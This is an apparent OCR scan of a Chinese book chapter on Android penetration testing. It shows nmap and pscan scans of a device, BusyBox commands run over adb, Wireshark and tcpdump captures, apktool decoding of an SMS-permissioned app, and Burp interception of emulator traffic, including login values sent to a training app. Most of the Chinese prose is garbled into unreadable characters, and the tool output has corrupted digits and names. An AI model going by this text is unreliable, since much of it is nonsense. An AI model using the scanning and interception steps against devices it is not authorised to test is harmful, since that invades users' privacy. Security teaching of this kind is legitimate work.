Start'lng Mp 5.51 ( http //nmap . org ) at 2011-12-24 13:34 PST
Warning: Unable to open interface vmnetl -- skipping it.

Warning: Unable to open interface vmnet8 -- skipping it.

Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (@ hosts up) scanned in 3.79 seconds

anmmisra-mac:~ Anmol$ sudo nmap -sS -A 192.168.0.104

Starting Nmap 5.51 ( http://mmap.org ) ot 2011-12-24 13:34 PST

Warning: Unable to open interface vmnetl -- skipping it.

Warning: Unable to open interface vmnet8 -- skipping it.

Nmap scan report for android_3474f@@bc85957bc (192.168.0.104)

Host is up (0.016s latency).

All 1000 scanned ports on android_3474f@@bc85957bc (192.168.0.104) are closed
Too many fingerprints match this host to give specific 0S details

Network Distance: 1 hop

TRACEROUTE (using port 1@25/tcp)
HOP RTT ADDRESS
1 3.06 ms android_3474f00bc85957bc (192.168.0.104)

0S and Service detection performed. Please report any incorrect results at http:
//nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.93 seconds

5.1 X Android {47 Nmap [7] 2 4

5.2.2 BusyBox

B IR Android RGE B T —/MHE 9 Shell TRARSF, {H/2 BusyBox THAEE N
Android RZL 2t UNIX R4 T HEPREHHWTE, MMESTE Android %% I
HITTH, &F. BENK U RBGEE ) FRETMERETE, Ad, T
BusyBox /E£7E Android R4t LiE 1T, A&2FTHMTIREEIARRESE X HF, Filtn, ApLe

HEBER TR A RS A RBiETT Eﬁf‘éjﬁm 4
TR 7ER RS b 2291247 BusyBox T E AU, & 5.2 s, XF
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—/> Android 4, FFEZIL oot 4bFH, A HEZE P BusyBox i R4, M i
REIETT
HE, M Linux 24 256 5 /5 3 adb shell, #1047 FiRdrd (RiEFH
A BusyBox [ 3l Al $h47 2223 ) -
adb shell mkdir /data/busybox
adb shell push busybox /data/busybox
adb shell

chmod 755 /data/busybox
/data/busybox -install

pentestusrl@tools-gibbons-vm-2:~5 adb shell

# cd /data/busybox

# ./ifconfig

eth@ Link encap:Ethernet HWaddr 52:54:00:12:34:56
inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:340 errors:@ dropped:® overruns:@ frame:@
TX packets:336 errors:Q dropped:@ coverruns:® carrier:®
collisions:@ txqueuelen:1000
RX bytes:24268 (23.6 KiB) TX bytes:22374 (21.8 KiB)
Interrupt:13 Base address:0xco®@ DMA chan:ff

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:® errors:@ dropped:@ overruns:@ frame:@
TX packets:® errors:@ dropped:® overruns:Q carrier:9
collisions:@ txqueuelen:9

RX bytes:@ (8.0 B) TX bytes:0 (0.0 B)

5.2 BusyBox Z2%E J5 #4147 ifconfig fip 4>

KR, XLedr 4 T BN % B 4 425 15/ data/busybox H ST T, iz H Y
AR T RSB AE B PATH, #RE B 1 48 Fl X 48 % ) UNIX A2 T o

NP 5.2 i, MIKAT “ifconfig” ArdRufith 45 5EmT 0L, IZAEBLARAY 1P ko
“WOQJT,E%—¢QM$ﬁM%%ﬁ%mmom%&%ﬁﬁﬁm%t,%ZE
A P HHEATRETZ AN “192. 168. 0. 104”7 HyRET, IP #bhik “10.0.2.27 JFH A TAEHLER
G (fltn, BTN TENRS) FASERbAE €127.0.0.17 KH|#A.
“10.0.2. 1" R 2e/MEaabat, “10.0.2.37 &> DNS [R5 a8 #9 ko

B 5.3 FIE 5.4 FiRm, MAEE ERES, 80 smH RN, BEL
i hitpd JR 45 B FFIZATAEZHE O, E—AJRAIfY Android ¥4 b, 7 ZEAT 23 H A
— A HIEI .

5.2.3 Wireshark
FA BT Android 4 754 FBHEAL , AT LA IR T —Fh T E X} Android
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pentestusri®tools-gibbons-vm-2:~5 adb shell

# cd /data/busybox

# ./netstat -an

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State

tcp (%] 0 127.0.9.1:5037 0.0.0.0:* LISTEN

tcp (%] ? 9.0.0.0:5555 0.0.0.0:* LISTEN

tcp @ 79 10.0@.2.15:5555 186.0.2.2:57335 ESTABLISHED
netstat: no support for 'AF INET6 (tcp)’' on this system

netstat: no support for 'AF INET® (udp)' on this system

netstat: no support for 'AF INET6 (raw)' on this system

Active UNIX domain sockets (servers and established)

Proto RefCnt Flags Type State I-Node Path

unix 2 [ ACC ] STREAM LISTENING 258 /dev/socket/property_se
rvice

unix ¢ ACC
unix 2 [ ACC
unix 2 ACC
unix 2 " ACC
unix 2 ACC
unix . ACC
unix 2 ACC
unix [ ACC
unix [ ACC

STREAM LISTENING 277 /dev/socket/vold
STREAM LISTENING 284 J/dev/socket/netd
STREAM LISTENING 322 €jdwp-control

STREAM LISTENING 291 /dev/socket/rild-debug
STREAM LISTENING 293 /dev/socket/rild
STREAM LISTENING 295 /dev/socket/zygote
STREAM LISTENING 302 /dev/socket/installd
STREAM LISTENING 304 /dev/socket/keystore
STREAM LISTENING 311 /dev/socket/qemud

[ S S R S NS U N N N S -

& 5.3 iEH BusyBox T E LAY netstat A5

pentestusrl®tools-gibbons-vm-2:~3 adb shell
# cd /data/busybox

# ./pscan 10.9.2.15

Scanning 10.0.2.15 ports 1 to 1024

Port Proto State Service

80 top open unknown
1023 closed, 1 open, © timed out ports
# |

B S.4 (diH] pscan 4RI % b H

WA BEAT root ZbH, SRJGFEZ IR % b (AR Wireshark 3058 @i IRt TR
B—FR ViR AT, MBS H BRI EE PREdR. A aelFEAE R
o, BRI LE3EAE Linux &40 A tepdump T E I 3R M 28 7 Android B4R 7= 4= 1)
Bl a, SRIER IR R ({8 ] Wireshark T HATHIFM, IRl 5. 5 Fraw.

ER P TAER R E, #1447 “emulator -tepdump < output file > -avd < avd de-
vice name > " 4, JEM tepdump T ELAHARFLIAS 7= A (0 i B B AL .

B S.5 Bn T ke i AR, X EBEE =4 T Android AE4LLAS 5 R Y
W 45177 8] www. google. com Wi, M Wireshark 7R BYHE @Y FEH Al LIF |, DNS
R 55-#% 6 TP Mok 10.0. 2.3, Ff H &A%/ MOCH 1P ikt 4 10.0.2. 2, IP #bht K
10.0. 2. 15 G LG (st 2 Android BEI8S) [6] www. google. com [Nk &% T —
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g 12 © BryEiasL
2 5.832935  Realteky) ¢
3 6,036452  Realtekl | Realteky 12:35:02
% 18,836585 16.8.2.2 18.8.2.15 TCP 48832 > personal-agent :Am Sec=1 Ack=1 Win=8760 Len=8
718637948 18.8.2.2 16.0.2.15 TP 43832 > personal-agent [PSH, ACK] Seq=l Ack=l Win=8760 Les=3t |
& 18.048586 18.9.2.15 18.9.2.2 TR personal -agent » 48832 [ACK] Seg=l Ack=32 Win=5848 Len-e en
9 1B.0864724 18.8.2.15 10,0.2.2 TCP personal-agent > 48832 [PSH, ACK] Seq=l Ack=32 Win=5840 Len=33
10 18.064834 18.8.2.2 18.8.2.15 TCP 48832 > personal-agent [ACK] Seq=32 Ack=34 Win=8768 Len=p
11 54,194217 Realtekl 12:34:36 Broadcast ARP  Who has 10.8.2,37 Tell 16,0.2.15 e T L

12 54.194221 Realteky 12:35:83 RealtekU 12:34:38 ARP 10.9.2.3 is at 52

\gx e 2T e A DN
i ‘wﬂ'mm.!"‘ oY -"igu.z.a"’h' DHS -.z'
15 54.212722 18.8.2.15 74.125.71.93 TCR
16 54.214747 74.125.71.99 ®.0.208 TR
17 54216675 16.8.2.15 nmnw TR
18 54.307137 | MREILEY L HTIR

195‘u7mflg-ﬁs.«n.n’7 ez

26 54 74.125.71,39
21348 mm.na{
22 54 ssmz 18,0,2.15

24 ﬂ»mn‘

25 54.852868 18.8.2.15
6 54 RSIGAT 4195 77 64

5.5 fF Wireshark 438 tepdump $i 35 9 80408 £

4~ HTTP GET &K, i 5.6 fizk.

+Ethernet 11, Src Realtekl 12:34:56 (52 80:12:34; m. Dst: Realt 12:35:02 (52:54:80112:
+ Internet Protocsl, Src: 18.0.2.15 (10.6.2.15), Dst: 74,125.71,99 (74.125,71.99) X1
. u-umm Cantral Protocol, Src Part: 38045 (38845). Dst Port: http (B8], Seq: 431, Ack: 298 05, Len: 65

E5.6 Wireshark FH¥cHE 513 77 i) HTTP GET 3K
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5.2.4 Android B{EZSHRF

Android #2{E &4t (Operating System, 0S) FF Linux #2/EZ4t, Linux 24 &
Android #/E R G HIKE Lo Android 2 —FFFIRAIIRIER S, Google /A T X 4MT
i Android RGEEERIES ., HI, )\ﬂ']_fugﬂﬂﬂﬁﬁﬁfﬂﬁﬁ/gﬁﬁ Android £ 4;
HRIS . Google ARIHHA B /7 #Y Android REFF A HFIN, AT %K. 4 E H
Android RGEEARIRA, B2, BF Android RE IR, %ﬁﬂ‘ﬁ?ﬁ}ﬁ, GREPN ]
BB FE, &F. B%, AR H B CH Android RERA, REEE] &
(fltn, HTC, =E%) SR\ BT RKEN, BH. EHl Android #IER 4,
XA HTISARFRAMATAE P2 IR B2 TR Z “ Android” R %5,

TEIRV] Android #ER G E ABIAIX KM Z /T, B AEREFB R =N
XLE[EF G TT . & Google AH]? BT E & Android 1ERAE ﬁkﬁlﬂiﬂim}ﬂ?ﬁ
Ho RERHEMBENILL B tLnfR HTC 2207, B R At 748 B 5k L 4 2% 110
Android #/ER G, HXTHEM T —& BN

4R, WATLASESEt X 4N A) &, Android $:4F 2 4t FI$R £ 45 Linux R40AY 5K
RS, XU PRI eI RA ZELLNE, mME, FEWHFERF ]
REEAFAEZ IH L B AR, i fCHs @ @ fEX e A%z E . BriA, LR
JZ A4 [a) i AL 53 A BR A o

—26 C/C ++ UG AV LA A &, £ Android #ER G AT REH B, Hoan,
IR ER . NAFARDE . BT PUTIRAR R, SRV, A RIEET| SR
peAh, fEXEeig T, EEESFE—L “FERE" (R EASE b2 F
RN, PR, FERHAPESE, MUBIE,

5.3 Android 7 AR FEENR

1E Android &4t b, KFAAEENERR & X HFR R F Y, X867 R
FEREALAE RGN BN AR, G YRS . MRS, s A A A =2 v
T2, 4N Android i 3% EARHLAY R o

5.3.1 Android iz &

FEXF Android S AIFR P 198 3 W RF & _EH A AR i —FE . ZEXT Android
R AR FHEATE BN LR P, FESEN R EEAREm. HFZE (K
R EFIANRAEME) ACE ., HfE, LARIFRRSEIRA,

it . BEN R xR AR RO IIRE . RAE N AR B S RE R
KR AR, BN B3 BT AR A 2 1 ) AR E A R, UM . B
PRAESFINRE, I ENKEER BN RZ AL BT N TFATELEEL
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WEEI A HH Aok, FERX A M BT AN S 2R T X . tein, MEEYS
SNER I FFE e/ R Ge 38 BRI LH AR EL, X T 33K 2 2 1 A 3K G 75 i R A 22 B 3K
A E]

WA NARFALMEHZ AR EEE (IPC) HL R H Al Android i
R F MBI RS2 HITEE, GIEET socket (EHF) WiEfF. EREIE
A (Remote Procedure Call, RPC) . {&i/H: ) % . {8 Intent ZH{4, LISz EAth
f)—4& Android $54 IPC 22 H 777, XL (5 7 R 2 H T ZRURVFR], BT,
D ORI TR 1] v e e -

® i R F 1A R AALER o [

® i R P xof oAt o R e T A T RE

EHENXC L T T Android RGIAUR, ABEF 4 EEENAH TXA
I3 %4 . Android i FHFEFF BT 75 MIAL PR € L E Manifest. xml SCAEPY, 3N G 2
2 4wi% Android i FHFEFF Y &3t 3CF, ki apk 3CHF, SRIGA REVIRIIF&F X
A, 4R Android apk S IFEUSAE R AY Manifest. xml ST 2 BRUNE] 5. 7 FE]
5.8 Fi7mo

O O O & Anmol — pentestusrl@taols-gibbons-vm-2: ~/Android/downloads o

pentestusri®tools-gibbons-vm-2:~/Android/downloads$ apktool decode iCalendar\ ac
bcad45094de7e877b656dblc28ada2 .apk 1Cal

I: Baksmaling...

I: Loading resource table...

I: Decoding resources...

I: Loading resource table from file: /home/pentestusrl/apktool/framework/1.apk
I: Copying assets and libs...
pentestusri®tools-gibbons-vm-2:~/Android/downloads$ |

B 5.7 fdiF apktool T H4ZHL Manifest A PR fic & {4

apk ST SR ST AT AL, (095 %3005 B4l H 5% META-INF, BER3XC
{t H % res, Android #2J¥ 4> J5 Ii¢ & ({4 AndroidManifest. XML, Dalvik <75 % 3C 4
classes. dex, LS 4RES () 3 ¥ USO8/ H 7 resources. arsc %, apktool TELHE
% F o h—> Android i PR 223540 (apk 3C{F) 1, $2HX AndroidManifest. XML
Bl E 4. {44 apktool decode < apkname > < directory > o

%tF Android 4545 (94044, 40 Intent, Broadcast Receiver, illi A 5 & /T
E LLF LA B A

1) AEEE T IPC 5 {35 1% 6 U B, @il 4n, AT {fif Intent, broadcast 26 14
f&i%

2) REEA Intent 36 HL A FH T 00 A5 5 PR AR FF 22 4 H i), RV Intent S IE L)
B 6% 75 B AN 4% ol 7 PR T LAAL BRAY Intent, {ELJZGX HXf © 27" ) Intent A
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0 0 6 A Anmol — pentestustl@tools-gibbons-vm-2; ~/Android /downloads
<meta-data android:name="ADMOB_PUBLISHER_ID" android:value="ald4cff13da97
c54" />
<meta-data android:name="ADMOB_INTERSTITIAL_PUBLISHER_ID" android:value=
"al4cff13daS7c54" />
<netao-data android:name="ADMOB_ALLON_LOCATION_FOR_ADS" android:value="tr
ue" />
<activity android:theme="@android:;style/Theme.NoTitleBar.Fullscreen” and
roid:name="com.admob.android.ads .AdMobActivity" android:configChanges="keyboard|
keyboardHidden|orientation” />
<receiver android:name="com.admob.android.ads.analytics.InstallReceiver”
android:exported="true">
<intent-filter>
<action android:name="com.android.vending.INSTALL_REFERRER" />
</intent-filter>
</receiver>
</applicatiomn>
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.RESTART_PACKAGES" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:nome="android.permission.SET_WALLPAPER" />
<uses-sdk android:minSdkVersion="3" />

5.8 A apk FR4RHUAY Manifest £FRAC & 3125 Bl

M. NARRFATLIAIE “ BAKE" [ Intent, 38 {f HARN R X% Intent i
(FpLB:

3) AREMEAIMGTES # (Sticky Broadeast) f&¥ufiU/Bb%idls, oM &K #E /)N
FHAR PP To ik 3 il S W — R e B i

4) R AR IE R AL RAS BB T H I RE AT 5 AOAL PR A&, it =58 <F fe /b T
A RR R

Wis: BE N ARRF RINERG RS/ RS HRETEFENRERRZ2RMY
HER, EXIGEGFT, B AERN YRS NER., i, KEXESZEF
R G0/ IR 55 o R AT g e PR A, R RIFFE A,

B 7ERFARRFIPAG R, Bt O i AR 2 N R AR A B AR Rl . — AR 1
R FF B8 LA SO S8 PR T e B 8, X PR 7 =X T A fa i (L RE X Rz
FEFP AT E, AT DA SO X AT, AR AR i A T A R SRR A Ak
HRERAE, WA G0 2 A A A Yo X 2, B SRR ) SO R e AT 4R A
FORLPR o T EL, WA B 7 4G A5 I R AR BN B AR A S i B, & F
RB AR THRE R 2 FBOUREEE R R ME . K2R N 5 2 [F 5

O SEEFE XM (shared preference) , Android Z4EH A —FEARFEM TR, ©E %GB X
fEfE =, A xml SCEHERMRAE, TE6E Android R FHFRFFT 2 09— Su il B S8 dE . —if#E
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HAFHTEGE (SCRRIINBMEHTEE) , I BN KE N BRI T2 8 iR
Sav/BARE L, XFXFER, wﬁkﬁﬂﬁiﬁﬁﬁ%mt%ﬁﬁﬁﬁﬁﬂm
S/ N R EAOEEE. 1Ak, #éﬁ%@ﬁ%ﬁﬁ%&%mﬁﬁ%ﬁﬁﬂ%
8, FlingSiEHLE,

IEHE AN RAR . MK 52N Y 2 I R 2 5 T A e A i 4% s
flan, EREZEIERREES, VHEFREERAE T ZAHtENASH? NARERF
LU T T G 11 A IV 2 < cd B e s <~ o 1 i 7 3

mm%%%ﬁﬁu(@%%ﬁ)iMiAﬁf%ﬁﬁ@%ﬁﬁ%@%%%m%
N R, R X PR, FIFE 7 2 el 5 A e S 80 (Bilan, hr
FAEFF 2l &%k GET iF3K, T%P%Tﬁk%ﬁﬁ%mu

HihFm. WA RN Sk AN HREFER S BITMEMIRS, BEXERS
X IR AVE B IR . Ah, Android [ FHARFF 9B B A A 5 — L8 4h 1) P 3R
B F Android N FHFEF (] Java iIBEF HWE , HIHAFAGAIXLE Java 5D, HEFRER
FAAE— L LR Java F2FF IR . A0SR Android i R P R ¥ B T 4= AU B 32 5¢
B, RLAAT BT A X LA L FFE, BIEREEAREANEE. &
J&, X} Android Ji7 %8 FF n{af 4b R 5O /7 6% n RO RE 2, LR — 1 ZEREEMT
H, XHAHNEETEE TR K.

AN R SN REE, WHERE— MRS, HTEENA
R FSMNE M4 Z R A B AR, AR N AR T,

WA (T HTTP) L T A E5dE .

1) ZEMEFAE ENLEA A TR EF#oF 2RI s52% (Flin, Bup £
FFOFETR), JFE “intercept (42)” 3L

2) {E Android FHLAMIRIA 124 RIS A5, WA 5.9 Fim, FEX A0l
i, A LL—A Android BEHLEE M, FTLA, FHEE ML “10.0.2.27 fEHUH
A% 256 1P Hdik

3) 7E Android BEU2E EFT IR S 250 AR, A A—1 URL Hidit.

4) #5F Burp B4 T AWM H SR, A S. 10 FIE 5. 11 iz,

PR At R P B T R R A

1) B EERF, ABU TN 4H K (Internet Relay Chat, IRC) KA
FEIF Yaaic 2406, i 5. 12 s,

2) {di il Wireshark &4 2K 1% 5 FIAR 7 722 A O T B AR 4, R ELGEATIL TP 4t
ik (Afiirh, Android 4 TP #ifiky 192. 168. 0. 107) i uEffpEix LeBdE .

©  Burp BRI TS web FIARFHRR TG, ERE THEZTH, I i THEH T IFEHEN,
Vi g i oL R R . —— R E T
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Pro
10.0.2
___ENCT ] 1'2—'Ja’ju'>‘ - ; 3 A_
OK | Cancel SELEL kﬂ o |
o == B A 45 D | it
2z e
: e iy TS o
K 5.9 #F Android %4 |25 CHEAR 55 %%
= : OUFP SUICE FTRE BOKION V1.4 ] i R ]
burp intruder repeater window about

target ['prony | spider | acor el | intruder | repester | sequencer | d

c 7"7',0 ar ar I F?r':v:u’-—“ aslerts
ntercept | options | histary |

Fler hiding €55 n-a;e and general binary content

L host methos URL parems mod | status length MIME by, [extensi

}U [T guegnEgr oyers ST o ‘Y}.‘dlll LU IRLIgz e 3 wia
33 ,hnpl google-gruyere ., GET  |(part2 | 200 3 W
35 f ere.. GET Ipart2 3 W
40 -gruyers., GET _ |/start E 5t
41 Ihttp: '/gooqle gruyere.. GET (530081820733 5 Ji “13¢
42 |http://google-gruyers.. GET /630081920733 3 Gf
43 |nttp//goagle gruyere, |GET. [i630081820733/lb,js 7]

45  [http:/igoogle-gruyere,, GET 'als“ﬂ" ?'ﬂ‘
46  |httpi/fgoogle-gruyere VGEl
47 _ inttpif/google gru"are GET
448  http:/igoogle-gruvere.,. GET
49 nttp:/fgoogle-gruyere.. GET
S0 inttp://google-gruyere,. GET /6_)0"01 3 />n1prets gtl md-mﬂdda:

51 Gg_r [gzooslazmmmgpe: glﬁuw-ﬁmksu,“

| body encading

B 5.10  Burp B T BA=ZHAY Android 3 %858 {= X
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- FiE 11 fipn frod RN A 10 1R LA MU S R N R

burp mntruger repeater window about

targ=at | proay | s'pu_dverr_ | intruder | repeater [ sequencer | decadef _ comparer | options | alerts |

[ intercept | Tjg : V_S.i.“hbstor‘g "7

[ Filter: hding CSS, Image and genera! binary content

Iz,j[ 7 'ntp‘mﬁ%?}vgwwnﬂ‘@gho—qmﬁmwmmgg%mmnwr:"'igggmg?"mpd"”j';'gggyﬁ'!vlggmw’f? _._._.e)&ensb_“?‘
27 http/igoogle-gruyere, ! | | L) |200 12067 HTML | Wl
36 |nttpuigoogle-gruyere... [GET _ /partl = | | L] 200 [1a192 [HTML wi ||
33 hnttp:/goocale-gruyers. tpart2 Lokl (200 ;37.5.27 L1 R I |
[35 httpi/igonale-gruyere.. [GET _ pari2 [l ,.|,2.OO__ 37627 1HTML__ [ Wi )
|40 httpi#googlegruyere. . |[GE (LI {2007 |o0a" TiHTML st |
[31 http/igoogle-gruyere... ¢ 4302 548 HTML | 13¢ [}
{32 'nttp//gongie-gruyere [200 (3637 WTML 1T Gq—«i
{43 http.//google-gruyere. . 1200 2271 |script. jis | |
{45 nttp-//gooale-aruvere ' [200 2881 [HTML | o4 |
Inttp://gocgle-gruyere | |200  |3195 |HTML  gtl ,.Gj gl
http.//goagle-gruyere. ol 200 (2552 |HTML | G o}
http://gocgle-gruyere. . |GET ' _al 0 ld 1200 13100 WML | _ . G i
;_ httpulgbogle-gruyers.. (GET 5300818307 33/bgn7uld=androidpw=test | v1 |7 ] /200 3391';_‘[@5“ 8 B2 }Gf:

vequest_ .[—[gsp':r\'se ]

raw i
:‘»SET 33 ‘lcuxn"lu;l
i Host gle-gruy=re.appap

f Accept-Encoding: gzip

fFPefersr: http: ogin
(Linux; U; Android 2.3.3; 2n-us; sdk Build/GRI34) AppleWebKic/533.1 (KHTAL,
] Mopile Safarl/S33.1
rid| | author: GRUYEPE_ID= 81820

atlon/xheml+xml, cexv/ homl:q=0.5, vaxt/plain;g=0.8, image; png, */ " gq=0.5

9~1, utg-1¢§, "

=pt: appllicacio

5. 11 Burp E{4 T HAHIKIK W SO K &2 UE
Dl ® 12:53m

IZINANG VS

Android Development

6667

-| ’:‘l: I"“;

B 5.12 Android 245 I Yaaic 7 F4KF
3) {dif Wireshark %/ 0oHN HEmiAr B gk ao i B ARG, Wil 5. 13a b Pise
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Android 2% %454 %

ORI G0V S SN S0 FNERARTE O AMOSTER POFTJI0W): [WIENTSE L8.3 4307 NEw SUsa TR QUnE-23] .
Bile fdt View Go Capure Anshoe atitcs Telephony  Tools frternals  Help e

BESAN EEXRE weve Ty EF aaan: u&aa 3

Protocul L

286 28,178139 38.229.70.20 192.168.0.107 TCP 60 6667 > 44713 [ACK] Segel A
287 28,275141 38.229.70.20 192.188.0.107 TRC 182 response

291 28.374141 38,229.70.29 192.168.0.107 TCP 60 6667 > uni [Acx] seq-?sﬂ

 Frame 287: 182 bytes on wire (1456 bits), 182 bytes captured (14356 bits)
= Ethernet IT, Srciicisco-Li_ciraD:f3 (U0:23:69:01:30:F3), Dst: D11 12;a8:ef (00:24:2B8:12:34:¢
& Oestination: Dall_12:ad:ef (00:24:28:17;:3d:8f)
@ Sourcer Cisco-Li_cl1:30:F3 (00:23:69:c1:30:F3)
Type: IF (0x0800)
+ Internet Protocd) version 4, Src: 38,229.70.20 (38.229.70.20), o35t 192,168,0.147 (162.165.0.
version; 4
Header langth: 20 bytes
pifferantiaved services Field: 0x20 (DSCP Ox08: Class Selecror 1: ECN: Ox00: NOT-£CT (ot B
Total Length: 168
1dentification: Ox7ead (32420)
# Flags: Ox02 (Don't Fragment)
Fragnemt offser: ©
Tima to 1dve: 51
protocal: TCP (8)
U0 00 24 e8 12 ad ef 00 23 A% <l &0 T3 0F 00
G100 00 a8 7@ a4 40 00 33 06 Qa 7f 26 ef 46 14
020 00 6D 14 Ob ae a% a0 (1 9 b FI &5 74 34
W30 00 5S¢ 29 a0 00 :)u 34 63 B¢ of 62 69 6C 69
S 5 4
33
74
ia
6f

®

40 79 61 61 69 63
050 31 35 2d 31 38
060 6F 6d 63 61 73 7
P76 3a 51 75 69 M4
08C 65 74 20 61 Ge

28 B 65 74 20 51 55 49 54 20 OMCAST.Nn BT QUIT
20 5¢ 61 61 86 43 20 2d 20 56 Wquit: ¥ aalc -

r( 68 65 T2 20 41 68 &4 72 BT et anoth &r andro

a) &}ﬂwlreslmrk:*mkﬂwa‘nc;ﬁ{n it

t | Stream Content. -

| )QUIT :vaaic - vet another Android IRC client - http://www.yaaic.org i
’.. clobile! ~yaaic@c-76-126-115-183. hsdl.ca. comcast.net QUIT :Quit: vaaic - Yet another | 8
| ;android IRC client - http://www.yaaic. orgl |
I'ERROR :Closing Link: c-76—126—11 -183. hsdl. ca.comcast.net (Quit: vaaic - vet another
landroid IRC c?unt - http://www. yaaic.org)

m

ntire conversation Gls‘m:) E o e 'B
- @ EBCDIC ) Hex Dump @ CArmys @ Raw

' N T -.:
b) ’ffﬁiWueshaﬂ(ﬂ'ﬁmﬁWﬂ#ﬂ

5.13
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5.3.2 MAERFRE

ATEE 240 1% Android R MEB BN BT, BRILLISS, XFF An-
droid N FHFEFFKiR, BFEARFHOMAE Mt EEFST (LLEARERE),
Rt —sw WE % 2RI, X iR ) e KB A AR ILE, kS 1,

#x51 NABRFHRLEA

% 4 A B v M
NIE F PR 4 ()
[ 4% il AT S 4 FH P AL PR () £
HH5id® H 7 HT A Y [ B
ik N Ko 4 il A A B
iE - 4b 5 FH P %505 B HAE 5 40 2 (] 51
BiE b B et X SRR A £ A 7 )
B it 7% A R A MR (5]
VRG] T 15 41 i 1) R
i ABHIE AL RE FH P A BRAIE () 5
STE FH P 2 T 0 A AR 6 () R
Br AL PEURALTR, LA B N A7 B )
T B B B B4 b/ S [l B

) T A IR E AR A (fabe . mAR . o A KU FEXURS ) A A
R (RMEEE, haEEEER S T A i, XK S. 1 5 #9534 4[] &

1) JAIE[ANE; FEZELUEAH FE= A TN E AT i, LASCR A
IEHL 2 A4 S m e

2) vilagE . 75 E R AEE L B P R A A RE U 5] AR B UE A5 B2 ALY B R A
e, Wa0RH P ARESE X sy Rl dl AL o

3) HiE: @d8iE, #hffxes HRRA S BRER, HFEARREHAMAT R
(N AR R BT i), DA BT B2 kX e F i B e X i [ A PR ..

4) % EEAE, St e HREE 2 4 i AT R, O B
e Goa ) SOLER ol JEE W DND I o R S 2| e L san v e U N
ANt = 5 Uil

S) BeimEitEE . T, Bl R B BT R A R B, BN
TR, R ARGZASH H & . 1PC VA . URL 8 R A0 S 46 2K 1o A o A
P Fr PR L4

6) BOHRKE . it K, R A Ok A R T IR A B
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an, EEBRARZAIE M P AL #T SOL #rif], AR HAh R SRk .

7) EERMRAE: EAIUE, YN AR IR S A RE, BEORME S A
HRERPTRAIEFIF LT M EHERREE, IFEEMHNERER
RS BUR R B BE

8) SIEEH: EUEIE, WRNABRFESEEE L, XA T HREFHBGERM
FE, filtn, e, SERPAMERSE (Token), F%E,

9) URL Z4%: Wfn AR FIEA LU CIE 0B SURSEUE R URL 1935 A

, A/ URL {2 X BURS B 8.

10) AIFMMIER: FTEHRNHABFAST4 5 TFE B BRIEAFR4SE
(Token) ,

B BEMAN SARYE P bRk, RO r o R F I

1) ZEWERFE, NABHER SCREMNARFNRRE, THZ24T .

2) AREFEUEE B (40 SSN (Social Security Number, $HZ&{#[S)) EH
URL 24, #f7f&i#. URL WS E R LAE A GET iFRk M 2okRKRE, JFEH &I
FIEARZ M, XIS, POST iFK 7 X Al LA s X A ) &, H2, REMH
POST iF3K, {5 R ASHIFE URL i, (HXFFER AT MR SER R LT FE T
WExLe(E B, Lhrk, XFEURREE, &EMH HTTPSC ik 87 ik i7 15
AT

3) BREIAIES BREREL, (55 Bk i 77 20 LA ER B 8,

4) (HH%ELEREF EE LR T A E R IR,

5) A URL &Ik <iEtniReT .

6) fHFHXMELIGRE A2 (Token) , MTIHAIRA A 5 GEHEAE

7) SR BT RS 2R A

8) AEHEXHNEEHEGER, I EFERB YEERAEE EXHHE
£,

9) XFFAETEAS M AN SN AR & b B SO AT I

10) #ATE 2 A BARISIE, Bl XSS, SQLi, PAKar4i A% AT

X} Android S FIFEF ATV R Ar, AT LARAE LT (] 5L

1) kA BahE T UPATIEE a2, BUE 1E36 & B IR 5 dh T X Ly
A, Mmiged % el X7 A p 6l 74 . R SQL & &) 2 i $i ik FE
i, FP S %S fi A1E 2 A SQLite %4 FE

2) WURMER. WRMERE (WScah s es), MARFRABHX

ll‘&t

B

© HTTPS (Hypertext Transfer Protocol over Secure Socket Layer, {if T 2EEFEZ il A &5 th
W), UL KN EARR HTTP @i, B) HTTP A% SRR
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IR, SRR RETEM ARG, XA REFEERERIER, (B3 T H R 5 R 8k
AL P/ R 53 B KURS:

3) MREEALER: GNRIF K E LA E BB R E A8 AUk R/ BB AT AR,
HeFBEFENEREETR, NARFRAPITHTEHFEFE/ VREGGE, 5
EREFFERELR R,

4) R4/ INI (Java Native Interface, Java A<Hi3E) E . Android i FHFE
FrREfidE INL R CiEF RS AR, XA AT 5B {E N AR F 8 52 Lo 7 AR,
i A B 2 (8] Y 300

5.4 HfhjgnM

5.4.1 RER, IMERAR =impIEIETRAE

Android S FHFEFF AT LA AR 2 %0 07 XAE i, Bddsefde . e LRI
B, UIRERF SRR AP ETE AR AR & L, tuml AFEAEAE SN A7
fiEF b SR, AREAEE AV AR & b, ABA & pUE Bk
wofiet, XUEBIRVORG SRR . EE, RIS R XTGBT
. FREA, X Android N7 FIFRFFRUL, S 24468 FH—FhoR KHY I FIE X & 2 A7
BB TN . RLX LB ATFRINE TRARL, WHINERN % 2MREE.

MR AR TERAEN T ILBIEAE AL E: A6 (F40, Android i
FEFFHISCHF . SQLite B4, ZAFMILZRCEICMF) MIMRAERE (B, FESN
iR & LR S, Mg “sim” 6

A5 o A T SO/ B A R OO B, 5 B W A (0 S R B A4
T/ BRSO Vil SO BN . ViR SAF/ BB S, LA R AT I/ R 8
%

5:5. &

AEEFEN T Android R4 ERIBENR. N4 T IT%F Android 2 1E R4
HATEEDR, e T N HREF %2R, Android B FHRF B &R, KUK
AT, R, A5 7 B JLB Android S FHAR Y 22 22 A1

EIEE FBILAFFRH Android NI F IS, 5 ECHE —1 Android i
FARF, SRIEHFAASE N B HEARKIGRIINR R . EH T g FA RS T
BAEE T ZMN AR, MHEE T
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AREENGE BRI — LR EE R . EEREMNITA, L
FOERRHRFHE. 5, THE— DA PEE SRS M Android HEN HEF, IfidE
AN R, FEEEEAEE R SET Android RGN BERZELE] .

% Android BB FHIIAEATE: SR NERHRELS . SMS, U KHIE
PEniE, mHEZNATKEERFIEE. Wi, AZRKUS—TNHERFR A
